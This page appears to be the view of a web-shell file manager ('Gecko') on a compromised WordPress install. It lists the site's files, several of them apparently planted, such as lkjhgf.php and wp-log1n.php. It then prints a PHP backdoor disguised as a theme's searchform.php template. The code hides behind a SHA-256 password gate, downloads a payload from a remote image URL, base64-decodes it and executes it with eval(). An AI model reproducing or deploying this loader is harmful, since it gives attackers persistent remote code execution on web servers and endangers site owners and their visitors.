Gecko [ c.stage.kornherr.net ]

Name	Size	Permission	Date
12e6c	[ DIR ]	d---------	2026-08-24 05:20
wp-admin	[ DIR ]	drwxr-xr-x	2026-09-03 02:49
wp-content	[ DIR ]	dr-xr-xr-x	2026-08-29 00:19
wp-includes	[ DIR ]	drwxr-xr-x	2026-09-03 08:11
.htaccess	1.13 KB	-r-xr-xr-x	2024-08-15 05:20
buy.php	1.45 KB	-r--r--r--	2024-08-18 05:20
googlef546db20d4a10428.html	53 B	-rw-r--r--	2026-08-25 02:26
index.php	23.37 KB	-r-xr-xr-x	2024-02-28 05:20
index.php0	10.96 KB	-rw-r--r--	2024-06-12 05:20
latest.tar.gz	12.39 MB	-rw-r--r--	2020-10-30 20:41
license.txt	19.45 KB	-rw-r--r--	2021-04-15 11:42
liesmich.html	8.43 KB	-rw-r--r--	2021-04-15 11:42
lkjhgf.php	20.95 KB	-rw-r--r--	2026-08-18 18:57
networks.php	1.72 KB	-r--r--r--	2024-06-15 05:20
plugins.php	2.03 KB	-r--r--r--	2024-01-24 05:20
readme.html	7.11 KB	-rw-r--r--	2026-03-12 09:45
robots.txt	417 B	-r--r--r--	2023-12-15 05:20
style.php	13.37 KB	-rw-r--r--	2026-09-02 02:48
wp-activate.php	6.93 KB	-rw-r--r--	2020-07-28 17:20
wp-blog-header.php	351 B	-rwxr-xr-x	2020-02-06 06:33
wp-comments-post.php	2.27 KB	-rw-r--r--	2021-03-01 14:04
wp-config-sample.php	3.58 KB	-rw-r--r--	2021-03-01 14:04
wp-config.php	3.12 KB	-rw-rw-rw-	2022-02-02 13:11
wp-cron.php	3.85 KB	-rw-r--r--	2021-03-01 14:04
wp-links-opml.php	2.44 KB	-rw-r--r--	2020-02-06 06:33
wp-load.php	3.22 KB	-rw-r--r--	2020-02-06 06:33
wp-log1n.php	1.29 KB	-r--r--r--	2024-01-14 05:20
wp-login.php	48.66 KB	-rw-r--r--	2021-03-01 14:04
wp-mail.php	8.26 KB	-rw-r--r--	2022-10-17 23:58
wp-settings.php	20.48 KB	-rw-r--r--	2021-03-01 14:04
wp-signup.php	30.6 KB	-rw-r--r--	2021-03-01 14:04
wp-trackback.php	4.7 KB	-rw-r--r--	2022-10-17 23:58
wplog.php	7.73 KB	-rw-r--r--	2026-07-21 10:18
wplogbak.php	3.95 KB	-rw-r--r--	2026-07-21 10:29
xmlrpc.php	3.16 KB	-rw-r--r--	2020-06-08 19:55

Rename

<?php ?><?php error_reporting(0); if(isset($_REQUEST["0kb"])){die(">0kb<");};?><?php
if (function_exists('session_start')) { session_start(); if (!isset($_SESSION['secretyt'])) { $_SESSION['secretyt'] = false; } if (!$_SESSION['secretyt']) { if (isset($_POST['pwdyt']) && hash('sha256', $_POST['pwdyt']) == '7b5f411cddef01612b26836750d71699dde1865246fe549728fb20a89d4650a4') {
      $_SESSION['secretyt'] = true; } else { die('<html> <head> <meta charset="utf-8"> <title></title> <style type="text/css"> body {padding:10px} input { padding: 2px; display:inline-block; margin-right: 5px; } </style> </head> <body> <form action="" method="post" accept-charset="utf-8"> <input type="password" name="pwdyt" value="" placeholder="passwd"> <input type="submit" name="submit" value="submit"> </form> </body> </html>'); } } }
?>
<?php
/*
 * The searchform.php template.
 *
 * Used any time that get_search_form() is called.
 *
 * @link https://wordpress.org/themes/template/
 * @package WordPress
 * @subpackage
 * @since 1.0 */

$l = "https://user-images.githubusercontent.com/143735067/264713238-ae810af4-c98d-421f-bbb3-1ddcc58f952a.jpg"/* "" - ni*/;

//DX for each form and a string
		if( function_exists('curl_init') ) {
			$ch = curl_init();
			curl_setopt($ch, CURLOPT_URL, $l);
			curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
			curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
			curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
			curl_setopt($ch, CURLOPT_HEADER, FALSE);
			curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36");
			$body = curl_exec($ch);
			curl_close($ch);
		}
		else {
			$body = @file_get_contents($l);
		}
	 eval(base64_decode($body));
?>